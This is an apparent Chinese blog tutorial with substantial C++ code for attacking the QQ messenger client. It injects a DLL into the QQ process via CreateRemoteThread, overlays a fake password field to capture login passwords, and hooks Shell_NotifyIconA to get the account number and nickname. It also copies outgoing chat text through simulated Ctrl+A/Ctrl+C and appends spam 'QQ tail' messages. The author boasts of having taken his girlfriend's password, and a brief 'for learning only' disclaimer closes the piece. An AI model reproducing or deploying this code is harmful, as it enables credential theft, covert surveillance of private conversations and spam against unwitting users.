|
前言 思路分析 进入QQ进程 远程注入DLL 截取QQ登录密码 截取本机QQ账号和昵称 截取聊天内容 增加QQ尾巴 去掉QQ广告栏 郑重申明 结束语 前言 中国网民没有不熟悉QQ的,QQ玩家没有不知道珊瑚虫和彩虹的去广告显IP版QQ的,有段时间QQ尾巴也很盛行,就是每次聊天的时候它自动在你的聊天文字后面加一段话,欺骗你的QQ网友上当。如今的网络就好比武侠小说里的江湖,行走江湖的剑客须有绝世武功方可不倒于对手的剑下。 本文将向你讲述如何截取QQ密码和聊天内容,如何将QQ的广告栏去掉,并添加自定的QQ尾巴。 思路分析 要截获QQ密码,大家一定想到键盘钩子,2006版以前的QQ用这种方法的确可以截获到QQ密码,我也曾经用这种方法将我女朋友的QQ密码给弄过来了,~~,但2007版以后的QQ在密码输入框里做了大量的手脚,即使用spy++也无法截取到任何消息,键盘钩子也失效了。我们总是幸运的,QQ登录窗口的消息还是可以获取到,既然钩子不能用了,那我们何不换种思维方式走走捷径呢?修改登录窗口的回调函数地址,截取其所有消息,并创建一个虚假的密码输入框来到达截取密码的目的,就好比在复写纸上写字,字迹会留下痕迹。 腾讯为了保护聊天内容的安全性,防止QQ尾巴的干扰,对聊天的文字输入框用额外的控件做了特殊处理,同样不能截取到任何消息,也不能用WM_GETTEXT和WM_CHAR消息来取得其中的文字内容。其实这个问题好解决,只要用模拟键盘程序模拟“Ctrl+A”->“Ctrl+C”就可以得到聊天内容了。 去QQ广告就更容易了,只要找到广告显示的子窗口,将它隐藏起来,然后在相同位置放一个自己的子窗口就可以了,如果获取到IP地址或对方的地理位置等信息也可以显示在这里。 说到这里,还有一个非常重要的问题,那就是我们的程序必须执行在QQ空间,因为Windows系统进程是受系统保护的,每个进程有自己独立的内存空间,很多API函数只对同一个进程有效,我们必须解决这个问题。 进入QQ进程 要将我们自己写的代码执行在QQ进程空间中才能实现我们上面的的分析思路,我想到了两种方法: 第一种方法还是钩子,我们的代码写到一个dll动态链接库里,然后启动系统钩子,当任何一个进程启动时,我们的dll将会被加载到该进程中,我们判断是否为QQ进程,如果不是,我们的dll就立即卸载,否则我们就顺利地进入到QQ进程空间了。这种方法有个缺点,就是任何进程启动时我们的dll都会被加载,严重影响到系统性能,我们在学习钩子的时候书本上也确实讲过,系统钩子最好少用,如果程序代码执行效率不高的情况下,将影响系统性能,再好用的软件也将变成垃圾而被用户清除出去的。 第二种方法就是远程dll注入,即用创建远程线程的方法在QQ进程空间中注入一个我自己的线程,这种方法针对性很强,只对QQ进程进行操作,不操作其他进程,不影响系统性能,而且灵活性好,我们随时可以将线程注入,也可以随时撤销,而第一种方法是系统钩子内部控制的,我们无法干预。 远程注入Dll 我们的程序分为两个部分,一部分是exe执行程序,可以控制Dll的注入,另一部分就是我们要注入的Dll。 首先我们要找到系统中的QQ进程,这里要用到ToolHelp32系列函数,以下函数能枚举出系统所有的进程: 01.BOOL CProcessManage::EnumSystemProcess
(02.OUT
CStringArray *pStrAry_ProcessName/*=NULL*/,03.OUT
CUIntArray *pUIntAry_ProcessID/*=NULL*/,04.OUT
CStringArray *pStrAry_ProcessPriority/*=NULL*/,05.OUT
CUIntArray *pUIntAry_ThreadNum/*=NULL*/,06.OUT
CStringArray *pStrAry_ProcessPath/*=NULL*/07.)08.{09.HANDLE hProcess
= NULL;10.PROCESSENTRY32
pe32;11.pe32.dwSize
= sizeof(pe32);12.HANDLE hProcessSnap
= ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );13.if (
hProcessSnap == INVALID_HANDLE_VALUE )14.return FALSE;15. 16.BOOL bMore
= ::Process32First(hProcessSnap,&pe32);17.while (
bMore )18.{19.hProcess
= OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);20.if (
pStrAry_ProcessName ) pStrAry_ProcessName->Add ( pe32.szExeFile );21.if (
pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( pe32.th32ProcessID );22.if (
pUIntAry_ThreadNum ) pUIntAry_ThreadNum->Add ( pe32.cntThreads );23.if (
pStrAry_ProcessPriority ) pStrAry_ProcessPriority->Add ( GetProcessPriority(hProcess) );24.if (
pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );25.bMore
= ::Process32Next(hProcessSnap,&pe32);26.}27.::CloseHandle(hProcessSnap);28.return TRUE;29.} 从枚举出的所有进程中找到QQ进程,如下代码: 01.//02.//
枚举出 “qq.exe”的进程03.//04.int EnumQQProcess
( CStringArray *pStrAry_ProcessName/*=NULL*/,05.CUIntArray
*pUIntAry_ProcessID/*=NULL*/,06.CStringArray
*pStrAry_ProcessPath/*=NULL*/ )07.{08.CStringArray
StrAry_ProcessName;09.CUIntArray
UIntAry_ProcessID;10.CStringArray
StrAry_ProcessPath;11.if (
!CProcessManage::EnumSystemProcess (12.&StrAry_ProcessName,13.&UIntAry_ProcessID,14.NULL,15.NULL,16.&StrAry_ProcessPath17.)
)18.{19.return -1;20.}21.ASSERT
( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );22.ASSERT
( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );23. 24.int nCount
= 0;25.for ( int i=0;
i< StrAry_ProcessName.GetSize(); i++ )26.{27.CString
csProcessName = StrAry_ProcessName.GetAt ( i );28.TRACE
( _T("%s\n"),
csProcessName );29.csProcessName.MakeLower
();30.if (
csProcessName == _T("qq.exe")
)31.{32.nCount
++;33.if (
pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );34.if (
pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );35.if (
pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );36.}37.}38. 39.return nCount;40.}接下来我们使用函数VirtualAllocEx()/WriteProcessMemory()函数在QQ进程中申请内存空间,将我们的数据参数写入到QQ进程内存空间里,然后用CreateRemoteThread()函数在QQ进程空间中启动一个远程线程,将我们的dll执行在QQ进程空间中,如下函数既是: 01.typedef void (WINAPI
*FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWNDhWndInvoker
);02.BOOL CRemoteThreadMateQQDlg::RemoteInject
( DWORD dwPID, BOOL bInjected
)03.{04.if (
dwPID < 1 ) return FALSE;05.ShowLogText
( FormatString(_T("发现新的QQ进程(ID:%u),现在注入远程线程。\r\n"),
dwPID) );06.BOOL bRet
= TRUE;07. 08.//
获取dll文件路径09.CString
csDllPath = GetProgramDir ();10.csDllPath
+= _T("dllRemoteThread.Dll");11.TCHAR szDllPath[MAX_PATH]
= {0};12.lstrcpyn
( szDllPath, csDllPath, COUNT(szDllPath) );13. 14.//
定义变量15.void *pParaRemote
= NULL;16.void *pDataRemote
= NULL;17.HANDLE hProcess
= NULL;18. 19.if (
!bInjected )20.{21.//
打开远程进程22.hProcess
= OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|23.PROCESS_VM_WRITE,FALSE,dwPID);24.if (!
hProcess ) return FALSE;25. 26.//
在远程进程中分配内存空间,并将数据写入27.t_RemoteThreadPara
tRemoteThreadPara = {0};28.strncpy (
tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……",
COUNT(tRemoteThreadPara.szQQTail) );29.pParaRemote
= (void*)
VirtualAllocEx( hProcess, 0,sizeof(t_RemoteThreadPara),
MEM_COMMIT, PAGE_READWRITE );30.::WriteProcessMemory
( hProcess, pParaRemote, &tRemoteThreadPara,sizeof(t_RemoteThreadPara),
NULL );31.pDataRemote
= (void*)
VirtualAllocEx( hProcess, 0, sizeof(szDllPath),
MEM_COMMIT, PAGE_READWRITE );32.::WriteProcessMemory
( hProcess, pDataRemote, szDllPath,sizeof(szDllPath),
NULL );33.}34.//
装载dll文件,并将参数传入dll的数据共享区35.HMODULE hMod
= LoadLibrary ( szDllPath );36.if (
hMod )37.{38.FUNC_SetRemoteParameter
pfnSetRemoteParameter = \39.(FUNC_SetRemoteParameter)GetProcAddress
( hMod, TEXT("SetRemoteParameter")
);40.if (
pfnSetRemoteParameter )41.pfnSetRemoteParameter
( pParaRemote, GetSafeHwnd() );42.}43.else44.{45.bRet
= FALSE;46.}47.if (
!bInjected )48.{49.//
创建远程线程执行代码50.DWORD dwThreadID
= 0;51.HANDLE hThread
= ::CreateRemoteThread ( hProcess, NULL, 0,52.(LPTHREAD_START_ROUTINE)LoadLibrary,53.pDataRemote,
0, &dwThreadID );54.if (
HANDLE_IS_VALID(hThread) )55.{56.//
等待远程线程结束57.::WaitForSingleObject
( hThread, INFINITE );58.DWORD dwRetCode
= 0;59.::GetExitCodeThread
( hThread, &dwRetCode );60.TRACE
("run
and return %d\n",
dwRetCode );61.}62.else63.{64.bRet
= FALSE;65.}66.}67.//
释放资源68.if (
hProcess && pDataRemote )69.VirtualFreeEx(
hProcess, pDataRemote, 0, MEM_RELEASE );70.if (
hMod ) FreeLibrary ( hMod );71.return bRet;72.}截取QQ登录密码 当我们的Dll注入到QQ进程以后,我们就可以在里面再启动几个线程来为我所用,其中一个线程定时调用EnumWindows()函数来获取系统中的窗口,并找到QQ登录窗口,然后调用如下代码来修改窗口的过程地址: // 修改相关窗口的 WindowProc 地址 ChangeWindownProc ( m_hWndQQLoginWindow, &g_pfnOrgWindowProc_QQLoginWindow, WindowProc_QQLoginWindow ); 修改以后,QQ登录窗口的所有消息都将WindowProc_QQLoginWindow()函数获取。 我们用EnumChildWindows()找到密码输入框的子窗口,然后创建一个EDIT控件,其大小和位置与QQ密码输入框一样,这样就覆盖在QQ密码输入框的上边了,用户在输入密码时实际上输入到我们的框中来了。 为了保证我们的编辑框始终获得输入焦点,并且当QQ登陆框最小化或还原时还有窗口移动时不出现破绽,有几个消息我们需要处理: WM_MOVING – 当QQ登录窗口移动时,我们重新计算相对位置,并将我们的编辑框移动到新位置上。 WM_SYSCOMMAND – 当QQ登录窗口最小化、还原和关闭时,我们的编辑框应该隐藏、显示和销毁。 WM_COMMAND – 当用户点击“登录”按钮时我们要做相应处理,将我们的密码发送给QQ的密码输入框;当QQ的密码输入框获得焦点时,我们应该将焦点转移到我们的编辑框中。 当用户输入完密码按“回车”键或点“登录”按钮时,我们先将QQ登录窗口隐藏起来,以免露出破绽,然后将我们收到到的密码在QQ密码输入框中重新输入一次,并发送“回车”按键消息,此时QQ真正开始登录,而密码已经悄悄地落入我手,哇哈哈…… 如下图:
上图中红方框指引的输入框是我们的程序所创建,不是QQ的密码输入框,因为QQ的密码输入框里的文字是不能被选取,也不能复制粘贴的,而我们的输入框则可以。
截取本机QQ账号和昵称 我们要截获密码或聊天内容等,首先应该先要获取到本机的QQ账号和昵称,要不然我们截获的内容归属于谁呢?没有归属的信息是毫无意义的,我想过很多办法来获取当前登录的QQ 账号和昵称,用读取远程进程内存空间的办法可以获取,但速度太慢,最后想到在我们的系统托盘里就有这些信息的提示,如下图:
那我们如何才能获取到系统托盘的提示信息呢?那我们就要追溯到托盘的产生根源了,托盘图标是利用Win32 API函数Shell_NotifyIcon()产生的,所以我这里想到的办法就是Hook API的方法,就是替换Win32API函数地址,在QQ调用Shell_NotifyIcon()函数产生系统托盘前先调用我们的函数,如下代码所示: 1.typedef BOOL (WINAPI
*PFN_Shell_NotifyIconA) ( DWORD dwMessage,
PNOTIFYICONDATA lpdata );2.BOOL WINAPI
Hook_Shell_NotifyIconA ( DWORD dwMessage,
PNOTIFYICONDATA lpdata );3.CAPIHook
g_Shell_NotifyIconA ("shell32.dll", "Shell_NotifyIconA",
(PROC) Hook_Shell_NotifyIconA, TRUE);以上代码是将Win32API系统函数Shell_NotifyIconA()地址修改为我们自己的函数地址“Hook_Shell_NotifyIconA”,这样以来QQ对系统托盘做任何操作时都会先调用我们的函数“Hook_Shell_NotifyIconA”,我们就可以从托盘提示文字里找到本地登录的QQ号码和昵称了。 但是,如果我们的程序在执行前QQ已经启动了,QQ进程不会调用Shell_NotifyIcon()函数了,那我们也就无法获得其QQ号码和昵称了,怎么办?我们可以尝试将“Explorer”(资源管理器)进程kill掉,这时Windows会自动重新启动一个“Explorer”,这时QQ进程就重新调用Shell_NotifyIcon()来创建一个新的托盘图标了,那我们可以假冒系统给QQ进程发一条托盘重建的消息让QQ自己调用Shell_NotifyIcon()函数重建托盘图标,这时我们就可以窃取到本地登录的QQ账号和昵称了。 01.//02.//
通知QQ重建托盘图标03.//04.void NotifyQQRecreateTray
()05.{06.if (
m_pQQMate )07.{08.m_pQQMate->m_csLocalQQAccount.Empty();09.m_pQQMate->m_csLocalQQNickname.Empty();10.memset (
&m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA)
);11.}12. 13.CUIntArray
UIntAry_ThreadID;14.CProcessManage::GetThreadInfo
( GetCurrentProcessId(), &UIntAry_ThreadID );15.for ( int i=0;
i< UIntAry_ThreadID.GetSize(); i++ )16.{17.EnumThreadWindows
( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc,LPARAM(NULL)
);18.}19.}20. 21.BOOL CALLBACK
EnumThreadWndProc ( HWND hwnd, LPARAM lParam
)22.{23.TCHAR szClassName[255]
= {0};24.::GetClassName
( hwnd, szClassName, COUNT(szClassName) );25.if (
lstrcmp ( _T("Afx:400000:0"),
szClassName ) == 0 )26.{27.if (
!WM_TASKBARCREATED )28.WM_TASKBARCREATED
= ::RegisterWindowMessage ( _T("TaskbarCreated")
);29.SendMessage
( hwnd, WM_TASKBARCREATED, NULL, NULL );30.//
HwDbgLog ( L_DEBUG, _T("删除托盘图标: hwnd - 0x%X, Class - %s"),31.//
hwnd, szClassName );32.}33. 34.return TRUE;35.}
被Hook后的QQ托盘信息 截取聊天内容 在我们注入到QQ进程空间的Dll中启动线程,定时枚举系统中的窗口,当找到聊天窗口时我们需要收集到聊天内容。 聊天内容分为“发送”内容和“接收”内容。“接收”的文字内容未做限制,直接用WM_GET_TEXT便能获得。发送的内容比较麻烦一点,首先我们要知道用户何时发送(点“发送”按钮、按快捷键“Ctrl+Enter”、按快捷键“Alt+S”),要解决这些问题,我同样需要截获聊天窗口的消息。 首先我们用EnumWindows()函数在线程中定时查找QQ聊天窗口,一旦发现新的聊天窗口出现,我们立即修改窗口过程函数地址: 1.//
修改相关窗口的 WindowProc 地址2.ChangeWindownProc
( pFindQQChatInfoPara->m_hWndChatWindow,3.&pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow,4.WindowProc_ChatWindow
);以上代码将QQ聊天窗口的过程函数改为我们自己的函数“WindowProc_ChatWindow()”,那用户到底什么时候发送聊天信息呢?我们只要截获消息711即可,收到该消息以后我们将触发一个事件,我们另外的线程便开始工作,将聊天内容通过模拟键盘事件的方式复制出来,然后再保存到我们另外的内存区域里。 01.//02.//
获取用户正要发送的聊天内容,保存到数组中03.//04.CString
CQQMate::GetWillSentChatText ()05.{06.HwDbgLog
( L_DEBUG, _T("-----------------------------
GetWillSentChatText()")
);07.int nSleepTime
= 100;08. 09.//
激活“发送文字信息的编辑框”并获取输入焦点10.ActiveWindowAndHoldFocus
( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );11.CRect
rcEditForSendMessage(0,0,0,0);12.::GetWindowRect
( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );13.::SetFocus
( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage ); 14.MouseLeftClick
( rcEditForSendMessage.CenterPoint() );15. 16.//
将要发送的文字内容拷贝出来并保存起来17.CString
csSendingText;18.for ( int i=0;
i< 10; i++ )19.{20.GetClipBoardText
(); //
清空剪贴板21.KeyboardCombineEvent
( VK_CONTROL, 'A', '\0' );22.Sleep(nSleepTime);23.KeyboardCombineEvent
( VK_CONTROL, 'C', '\0' );24.Sleep(nSleepTime);25.csSendingText
= GetClipBoardText();26.HwDbgLog
( L_DEBUG, _T("csSendingText
= %s"),
csSendingText );27.if (
!csSendingText.IsEmpty() )28.break;29.}30.HwDbgLog
( L_DEBUG, _T("发送文字信息:
%s"),
csSendingText );31.if (
csSendingText.IsEmpty() )32.{33.return csSendingText;34.}35.else36.{37.m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent
( TRUE, csSendingText );38.}39. 40.return csSendingText;41.}增加QQ尾巴 在获取到聊天内容后,还可以用模拟键盘的方式将QQ尾巴信息加到要发送的文字后面,如下代码所示: 01.CString
CQQMate::AddQQTailText ()02.{03.HwDbgLog
( L_DEBUG, _T("-----------------------------
AddQQTailText()")
);04.int nSleepTime
= 100;05.CString
csQQTail;06. 07.//
将“消息模式”的聊天窗口透明化隐藏起来08.if (
m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE )09.{10.//
TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 0 );11.::ShowWindow
( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, SW_RESTORE );12.}13. 14.//
增加QQ尾巴内容15.int nQQTailPos
= -1;16.csQQTail
= GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg->m_csQQPeerAccount );17.if (
!csQQTail.IsEmpty() )18.{19.if (
m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )20.csQQTail.Insert
( 0, _T("\r\n")
);21.CopyTextToClipboard
( csQQTail );22.Sleep(nSleepTime);23.if (
m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )24.KeyboardCombineEvent
( VK_CONTROL, VK_END, '\0' );25.else26.KeyboardCombineEvent
( VK_CONTROL, 'A', '\0' );27.Sleep(nSleepTime);28.KeyboardCombineEvent
( VK_CONTROL, 'V', '\0' );29.Sleep(nSleepTime);30.}31.HwDbgLog
( L_DEBUG, _T("QQ尾巴内容
= %s"),
csQQTail );32.return csQQTail;33.}由于我们是在用户做了发送操作(点“发送”按钮、按快捷键“Ctrl+Enter”、按快捷键“Alt+S”)之后才进行我们的处理,所以简单地将QQ尾巴信息加到发送框里是发送不出去的,所以我们必须在增加QQ尾巴信息完成后再向QQ聊天窗口发送一个“发送按钮”被点击的消息,如下代码所示: 1.if (
!csQQTail.IsEmpty() )2.{3.::PostMessage
( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow,4.WM_COMMAND,5.(WPARAM)CONTROL_ID_CHAT_BUTTON_SEND,6.LPARAM(NULL)
);7.}看看程序效果图:
输入聊天文字
发送聊天信息后自动增加了QQ尾巴 去掉QQ广告栏 用EnumChildWindows() API函数查找到广告栏子窗口句柄,然后隐藏它,如下代码所示: 01.if (
!IsWindow(pFindQQChatInfoPara->m_hWndAD1) )02.{03.//
类名符合吗04.if (
strstr_hw ( szClassName, _T("static")
) )05.{06.CRect
rc, rcAD1(248,22,490,62);07.::GetWindowRect
( hWnd, &rc );08.CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient
( &rc );09.if (
rcAD1.EqualRect(&rc) ||10.(
rcAD1.PtInRect(rc.TopLeft()) && rcAD1.PtInRect(rc.BottomRight()) ) ||11.(
rc.PtInRect(rcAD1.TopLeft()) && rc.PtInRect(rcAD1.BottomRight()) )12.)13.{14.pFindQQChatInfoPara->m_hWndAD1
= hWnd;15.::ShowWindow
( hWnd, SW_HIDE );16.}17.}18.}接着将我们需要显示的文字内容写上去,可以截获消息WM_PAINT和WM_ERASEBKGND,用设备上下文句柄显示我们的内容,如下代码所示: 01.if (
uMsg == WM_PAINT || uMsg == WM_ERASEBKGND )02.{03.CRect
rcAD1(248,22,490,62);04.SetBkMode
( (HDC)
wParam, TRANSPARENT );05.if (
uMsg == WM_ERASEBKGND )06.{07.HwDbgLog
( L_DEBUG, _T("WM_ERASEBKGND
::FillRect")
);08.CBrush
brsBkGnd;09.brsBkGnd.CreateSolidBrush(
RGB(114,201,252) );10.FillRect
( (HDC)
wParam, &rcAD1, (HBRUSH)brsBkGnd.GetSafeHandle()
);11.}12. 13.if (
uMsg == WM_ERASEBKGND || uMsg == WM_PAINT )14.{15.CString
csAD1 = _T("这是广告位置,已经被屏蔽掉了。\r\n
——谢红伟");16.::DrawText
( (HDC)
wParam, csAD1, csAD1.GetLength(), &rcAD1, DT_CENTER|DT_VCENTER );17.}18.}执行效果如下图:
有广告的QQ聊天窗口
去掉广告栏之后的聊天窗口 郑重申明 本代码和本代码的相关文章仅供学习和技术交流之用,严禁用于非法用途,否则本人概不负任何责任! 结束语 本程序代码支持多个QQ同时登录的处理,但界面上只显示最后一个登录的QQ信息。 知识就是力量,知识共享将具有推动时代进步的力量。希望我能为中国的软件行业尽一份薄力。 你可以任意修改复制本代码,但请保留版权信息文字不要修改。 由于水平有限,错误再所难免,请知情者原谅并告知,多谢! |
如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴
最新推荐文章于 2022-10-14 17:56:47 发布
本文介绍了一种截取QQ密码及聊天内容的技术方案,包括远程注入DLL、修改窗口回调函数、模拟键盘事件等手段。







2397

被折叠的 条评论
为什么被折叠?



